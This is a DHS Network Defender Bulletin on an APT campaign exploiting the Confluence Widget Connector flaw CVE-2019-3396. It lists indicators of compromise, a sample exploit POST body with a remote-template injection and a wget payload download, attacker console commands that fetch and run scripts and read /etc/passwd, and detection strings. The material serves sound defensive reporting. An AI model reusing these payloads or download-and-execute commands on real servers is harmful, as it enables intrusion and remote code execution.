Homeland Security
OFFICE of INTELLIGENCE and ANALYSIS
NETWORK DEFENDER BULLETIN

25 MAY 2021 IA-50899-21

CYBERSECURITY

(U//FOUO) Advanced Persistent Threat Actors Target Global Victims Using Known Vulnerability

(U//FOUO) ***Scope Note:*** *This* Network Defender Bulletin *provides federal, state, local, and private sector network defenders information to help detect and mitigate malicious cyber activity. While I&A considers this network defense information to be credible and actionable, this* Bulletin *is not considered finished intelligence and is being shared for the purpose of informing cybersecurity protection activities.*

(U//FOUO) Advanced persistent threat (APT) actors from 15 February to 26 March 2021 used an identified UK-based IP address in a global campaign against victims associated with the information technology sector—including at least 357 US IP addresses—to exploit a known common vulnerability and exposure (CVE) server-related vulnerability, according to a US Government report. The APT actors used the UK IP address as a multi-hop proxy to obfuscate their physical location, prevent attribution of the operation, and execute arbitrary commands on the targeted servers, according to the same source.

(U) Support to Computer Network Defense

(U//FOUO) The following indicators of compromise may be used in support of network defense and mitigation.

This table is UNCLASSIFIED//FOR OFFICIAL USE ONLY

CVE	UK IP Address
CVE-2019-3396[a]	45[.]63[.]100[.]115

This table is UNCLASSIFIED//FOR OFFICIAL USE ONLY

IP Address	Domain Name
185[.]238[.]250[.]137	asdfghjk[.]youdontcare[.]com
45[.]138[.]209[.]197	jquery-dns-07[.]dns05[.]com

[a] (U) CVE-2019-3396 describes a vulnerability where the Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.

(U) Prepared by the Cyber Mission Center. For questions, contact DHS-SPS-RFI@hq.dhs.gov.

(U//FOUO) The following is an example HTML header in the initial POST command:

This table is UNCLASSIFIED//FOR OFFICIAL USE ONLY

POST/rest/tinymce/1/macro/preview HTTP/1.1	
Host	[victim IP address]:[port]
User-Agent	Mozilla/5.0 (Xll; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept-Encoding	gzip, deflate
Accept	*/*
Connection	keep-alive
Referer	http://[victim IP address]:[port]/pages/resumedraft.action?draftId=1&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type	application/json; charset=utf-8
Content-Length	363

(U//FOUO) The following is a sample POST command content:

This table is UNCLASSIFIED//FOR OFFICIAL USE ONLY

{"contentId":"12345","marco":{"name":"widget","body":"","params":{"url":http://www[.]dailymotion[.]com/video/xcpa64","width":"300","height":"200","_template":ftp://45[.]138[.]209[.]197:2121//cmd[.]vm","cmd":"wget -P /tmp https://185[.]238[.]250[.]137/guard[.]sh"}}}

(U//FOUO) The APT actors used the following console commands:

This table is UNCLASSIFIED//FOR OFFICIAL USE ONLY

/opt/atlassian/confluencels	/tmp/guard[.]sh	/tmp/h4
cat/tmp/test_results.txt	cd /tmp	chmod +x /tmp/guard.sh
chmod +x guard[.]sh	chmod +x h4	curl-o /tmp/h4 https:// asdfghjk[.]youdontcare[.]com/h4

cat /etc/passwd	chmod +x /tmp/h4	Dir C\
kill 16428	ks	ls /
ls /opt/atlassian/ confluence/ temp	ls /tmp	ls-al /opt/atlassian/confluence
ls -al /opt/atlassian/confluence/	ls-al /tmp	ls -al
ls	ping-c 1 www[.]google[.]com	ping www[.]google[.]com
ps -a	ps -au	ps -aux
ps-ax	ps	pwd
tasklist	top	wget https://asdfghjk[.]youdontcare[.]com/h4
wget -P /tmp http://185[.]238[.]250[.]137/guard[.]sh	whoami	wpd

(U//FOUO) To detect scanning and exploitation of using CVE-2019-3396, the following could be used to examine the HTTP header and POST content:

This table is UNCLASSIFIED//FOR OFFICIAL USE ONLY

Area	**String**
HTTP header	'/rest/tinymce/1/macro/preview'
POST body	'_template":

Source, Reference, and Dissemination Information	
Reporting Suspicious Activity	*(U)* To report a computer security incident, please contact CISA at 888-282-0870; or go to https://forms.us-cert.gov/report. Please contact CISA for all network defense needs and complete the CISA Incident Reporting System form. The CISA Incident Reporting System provides a secure, web-enabled means of reporting computer security incidents to CISA. An incident is defined as a violation or imminent threat of violation of computer security policies, acceptable use policies, or standard computer security practices. In general, types of activity commonly recognized as violating typical security policies include attempts (either failed or successful) to gain unauthorized access to a system or its data, including personally identifiable information; unwanted disruption or denial of service; the unauthorized use of a system for processing or storing data; and changes to system hardware, firmware, or software without the owner's knowledge, instruction, or consent. *(U)* To report this incident to the Intelligence Community, please contact your DHS I&A Field Operations officer at your state or major urban area fusion center, or e-mail DHS.INTEL.FOD.HQ@hq.dhs.gov. DHS I&A Field Operations officers are forward deployed to every US state and territory and support state, local, tribal, territorial, and private sector partners in their intelligence needs; they ensure any threats, incidents, or suspicious activity is reported to the Intelligence Community for operational awareness and analytic consumption.
Dissemination	*(U)* Federal, state, local, and private sector network defenders.
Warning Notices & Handling Caveats	*(U)* **Warning:** This document is UNCLASSIFIED//FOR OFFICIAL USE ONLY (U//FOUO). It contains information that may be exempt from public release under the Freedom of Information Act (5 U.S.C. 552). It is to be controlled, stored, handled, transmitted, distributed, and disposed of in accordance with DHS policy relating to FOUO information and is not to be released to the public, the media, or other personnel who do not have a valid need to know without prior approval of an authorized DHS official. State and local homeland security officials may share this document with authorized critical infrastructure and key resource personnel and private sector security officials without further approval from DHS. *(U)* All US person information has been minimized. Should you require US person information on weekends or after normal weekday hours during exigent and time sensitive circumstances, contact the Current and Emerging Threat Watch Office at 202-447-3688, CETC.OSCO@HQ.DHS.GOV. For all other inquiries, please contact the Homeland Security Single Point of Service, Request for Information Office at DHS-SPS-RFI@hq.dhs.gov, DHS-SPS-RFI@dhs.sgov.gov, DHS-SPS-RFI@dhs.ic.gov. *(U//FOUO)* This report includes sensitive technical information related to computer network operations that could be used against US Government information systems. Any scanning, probing, or electronic surveying of IP addresses, domains, e-mail addresses, or user names identified in this document is strictly prohibited.

CLASSIFICATION: **UNCLASSIFIED//FOR OFFICIAL USE ONLY**

Homeland Security

Office of Intelligence and Analysis

Customer Feedback Form

Product Title: (U//FOUO) Advanced Persistent Threat Actors Target Global Victims Using Known Vulnerability

All survey responses are completely anonymous. No personally identifiable information is captured unless you voluntarily offer personal or contact information in any of the comment fields. Additionally, your responses are combined with those of many others and summarized in a report to further protect your anonymity.

1. Please select partner type: Select One **and function:** Select One

2. What is the highest level of intelligence information that you receive? Select One

3. Please complete the following sentence: "I focus most of my time on:" Select One

4. Please rate your satisfaction with each of the following:

	Very Satisfied	Somewhat Satisfied	Neither Satisfied nor Dissatisfied	Somewhat Dissatisfied	Very Dissatisfied	N/A
Product's overall usefulness	○	○	○	○	○	○
Product's relevance to your mission	○	○	○	○	○	○
Product's timeliness	○	○	○	○	○	○
Product's responsiveness to your intelligence needs	○	○	○	○	○	○

5. How do you plan to use this product in support of your mission? ***(Check all that apply.)***

- ☐ Drive planning and preparedness efforts, training, and/or emergency response operations
- ☐ Observe, identify, and/or disrupt threats
- ☐ Share with partners
- ☐ Allocate resources (e.g. equipment and personnel)
- ☐ Reprioritize organizational focus
- ☐ Author or adjust policies and guidelines
- ☐ Initiate a law enforcement investigation
- ☐ Intiate your own regional-specific analysis
- ☐ Intiate your own topic-specific analysis
- ☐ Develop long-term homeland security strategies
- ☐ Do not plan to use
- ☐ Other:

6. To further understand your response to question #5, please provide specific details about situations in which you might use this product.

7. What did this product *not* address that you anticipated it would?

8. To what extent do you agree with the following two statements?

	Strongly Agree	Agree	Neither Agree nor Disagree	Disagree	Strongly Disgree	N/A
This product will enable me to make better decisions regarding this topic.	○	○	○	○	○	○
This product provided me with intelligence information I did not find elsewhere.	○	○	○	○	○	○

9. How did you obtain this product? Select One

10. Would you be willing to participate in a follow-up conversation about your feedback? Yes

To help us understand more about your organization so we can better tailor future products, please provide:

Name:		*Position:*	
Organization:		*State:*	
Contact Number:		*Email:*	

Submit Feedback

Privacy Act Statement

CLASSIFICATION: **UNCLASSIFIED//FOR OFFICIAL USE ONLY**

Product Serial Number: IA-50899-21 REV: 01 August 2017